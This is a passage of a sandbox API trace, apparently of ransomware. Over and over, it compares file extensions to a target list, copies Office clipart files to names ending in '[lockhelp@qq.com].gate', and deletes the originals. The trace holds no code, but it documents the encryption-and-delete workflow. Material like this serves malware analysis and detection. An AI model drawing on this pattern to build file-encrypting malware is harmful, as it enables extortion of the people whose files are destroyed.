[0292.875] lstrlenW (lpString=".pdf") returned 4 [0292.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.876] lstrlenW (lpString=".xls") returned 4 [0292.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.876] lstrlenW (lpString=".xlsx") returned 5 [0292.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.876] lstrlenW (lpString=".ppt") returned 4 [0292.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0292.876] lstrlenW (lpString=".zip") returned 4 [0292.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.876] lstrlenW (lpString=".rar") returned 4 [0292.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.876] lstrlenW (lpString=".bz2") returned 4 [0292.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.876] lstrlenW (lpString=".7z") returned 3 [0292.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0292.876] lstrlenW (lpString=".dbf") returned 4 [0292.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0292.876] lstrlenW (lpString=".1cd") returned 4 [0292.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0292.876] lstrlenW (lpString=".jpg") returned 4 [0292.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0292.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0292.876] lstrlenW (lpString=".doc") returned 4 [0292.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.877] lstrlenW (lpString=".docx") returned 5 [0292.877] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.877] lstrlenW (lpString=".pdf") returned 4 [0292.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.877] lstrlenW (lpString=".xls") returned 4 [0292.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.877] lstrlenW (lpString=".xlsx") returned 5 [0292.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.877] lstrlenW (lpString=".ppt") returned 4 [0292.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0292.877] lstrlenW (lpString=".zip") returned 4 [0292.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.877] lstrlenW (lpString=".rar") returned 4 [0292.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.877] lstrlenW (lpString=".bz2") returned 4 [0292.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.877] lstrlenW (lpString=".7z") returned 3 [0292.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0292.877] lstrlenW (lpString=".dbf") returned 4 [0292.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0292.877] lstrlenW (lpString=".1cd") returned 4 [0292.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0292.877] lstrlenW (lpString=".jpg") returned 4 [0292.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.878] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0292.878] lstrlenW (lpString="DD00705_.WMF") returned 12 [0292.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0292.878] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=24588) returned 1 [0292.878] CloseHandle (hObject=0x4f4) returned 1 [0292.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x220 [0292.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0292.879] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.879] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0292.879] GetLastError () returned 0x0 [0292.879] ReadFile (in: hFile=0x4f4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x600c, lpOverlapped=0x0) returned 1 [0292.972] WriteFile (in: hFile=0x4e8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x6010, lpOverlapped=0x0) returned 1 [0292.973] ReadFile (in: hFile=0x4f4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.973] WriteFile (in: hFile=0x4e8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0292.973] SetEndOfFile (hFile=0x4e8) returned 1 [0292.973] CloseHandle (hObject=0x4e8) returned 1 [0292.974] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.974] SetEndOfFile (hFile=0x4f4) returned 1 [0292.977] CloseHandle (hObject=0x4f4) returned 1 [0292.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.977] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0292.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0292.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0292.978] lstrlenW (lpString=".doc") returned 4 [0292.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.978] lstrlenW (lpString=".docx") returned 5 [0292.978] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.978] lstrlenW (lpString=".pdf") returned 4 [0292.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.978] lstrlenW (lpString=".xls") returned 4 [0292.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.978] lstrlenW (lpString=".xlsx") returned 5 [0292.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.978] lstrlenW (lpString=".ppt") returned 4 [0292.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0292.978] lstrlenW (lpString=".zip") returned 4 [0292.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.978] lstrlenW (lpString=".rar") returned 4 [0292.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.978] lstrlenW (lpString=".bz2") returned 4 [0292.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.978] lstrlenW (lpString=".7z") returned 3 [0292.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0292.979] lstrlenW (lpString=".dbf") returned 4 [0292.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0292.979] lstrlenW (lpString=".1cd") returned 4 [0292.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0292.979] lstrlenW (lpString=".jpg") returned 4 [0292.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0292.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0292.979] lstrlenW (lpString=".doc") returned 4 [0292.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.979] lstrlenW (lpString=".docx") returned 5 [0292.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.979] lstrlenW (lpString=".pdf") returned 4 [0292.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.979] lstrlenW (lpString=".xls") returned 4 [0292.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.979] lstrlenW (lpString=".xlsx") returned 5 [0292.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.979] lstrlenW (lpString=".ppt") returned 4 [0292.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0292.979] lstrlenW (lpString=".zip") returned 4 [0292.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.979] lstrlenW (lpString=".rar") returned 4 [0292.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.979] lstrlenW (lpString=".bz2") returned 4 [0292.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.979] lstrlenW (lpString=".7z") returned 3 [0292.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0292.979] lstrlenW (lpString=".dbf") returned 4 [0292.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0292.980] lstrlenW (lpString=".1cd") returned 4 [0292.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0292.980] lstrlenW (lpString=".jpg") returned 4 [0292.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.980] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0292.980] lstrlenW (lpString="DD01139_.WMF") returned 12 [0292.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0292.980] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3632) returned 1 [0292.980] CloseHandle (hObject=0x4f4) returned 1 [0292.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x220 [0292.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0292.981] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.981] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0292.981] GetLastError () returned 0x0 [0292.981] ReadFile (in: hFile=0x4f4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xe30, lpOverlapped=0x0) returned 1 [0293.102] WriteFile (in: hFile=0x4e8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xe40, lpOverlapped=0x0) returned 1 [0293.102] ReadFile (in: hFile=0x4f4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.102] WriteFile (in: hFile=0x4e8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.103] SetEndOfFile (hFile=0x4e8) returned 1 [0293.103] CloseHandle (hObject=0x4e8) returned 1 [0293.104] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.104] SetEndOfFile (hFile=0x4f4) returned 1 [0293.105] CloseHandle (hObject=0x4f4) returned 1 [0293.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0293.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0293.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0293.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0293.169] lstrlenW (lpString=".doc") returned 4 [0293.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.169] lstrlenW (lpString=".docx") returned 5 [0293.169] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.169] lstrlenW (lpString=".pdf") returned 4 [0293.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.169] lstrlenW (lpString=".xls") returned 4 [0293.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.169] lstrlenW (lpString=".xlsx") returned 5 [0293.169] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.169] lstrlenW (lpString=".ppt") returned 4 [0293.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0293.170] lstrlenW (lpString=".zip") returned 4 [0293.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.170] lstrlenW (lpString=".rar") returned 4 [0293.170] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.170] lstrlenW (lpString=".bz2") returned 4 [0293.170] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.170] lstrlenW (lpString=".7z") returned 3 [0293.170] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0293.170] lstrlenW (lpString=".dbf") returned 4 [0293.170] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0293.170] lstrlenW (lpString=".1cd") returned 4 [0293.170] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0293.170] lstrlenW (lpString=".jpg") returned 4 [0293.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0293.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0293.209] lstrlenW (lpString=".doc") returned 4 [0293.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.209] lstrlenW (lpString=".docx") returned 5 [0293.209] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.209] lstrlenW (lpString=".pdf") returned 4 [0293.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.209] lstrlenW (lpString=".xls") returned 4 [0293.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.209] lstrlenW (lpString=".xlsx") returned 5 [0293.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.209] lstrlenW (lpString=".ppt") returned 4 [0293.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0293.209] lstrlenW (lpString=".zip") returned 4 [0293.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.209] lstrlenW (lpString=".rar") returned 4 [0293.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.209] lstrlenW (lpString=".bz2") returned 4 [0293.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.209] lstrlenW (lpString=".7z") returned 3 [0293.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0293.209] lstrlenW (lpString=".dbf") returned 4 [0293.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0293.210] lstrlenW (lpString=".1cd") returned 4 [0293.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0293.210] lstrlenW (lpString=".jpg") returned 4 [0293.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.210] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0293.210] lstrlenW (lpString="DD01157_.WMF") returned 12 [0293.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0293.210] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3588) returned 1 [0293.210] CloseHandle (hObject=0x4c4) returned 1 [0293.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x220 [0293.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0293.211] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.211] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0293.214] GetLastError () returned 0x0 [0293.214] ReadFile (in: hFile=0x4c4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xe04, lpOverlapped=0x0) returned 1 [0293.299] WriteFile (in: hFile=0x538, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xe10, lpOverlapped=0x0) returned 1 [0293.300] ReadFile (in: hFile=0x4c4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.301] WriteFile (in: hFile=0x538, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.301] SetEndOfFile (hFile=0x538) returned 1 [0293.301] CloseHandle (hObject=0x538) returned 1 [0293.301] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.301] SetEndOfFile (hFile=0x4c4) returned 1 [0293.303] CloseHandle (hObject=0x4c4) returned 1 [0293.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0293.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0293.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0293.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0293.305] lstrlenW (lpString=".doc") returned 4 [0293.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.305] lstrlenW (lpString=".docx") returned 5 [0293.305] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.305] lstrlenW (lpString=".pdf") returned 4 [0293.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.305] lstrlenW (lpString=".xls") returned 4 [0293.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.305] lstrlenW (lpString=".xlsx") returned 5 [0293.305] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.305] lstrlenW (lpString=".ppt") returned 4 [0293.305] lstrcmpiW 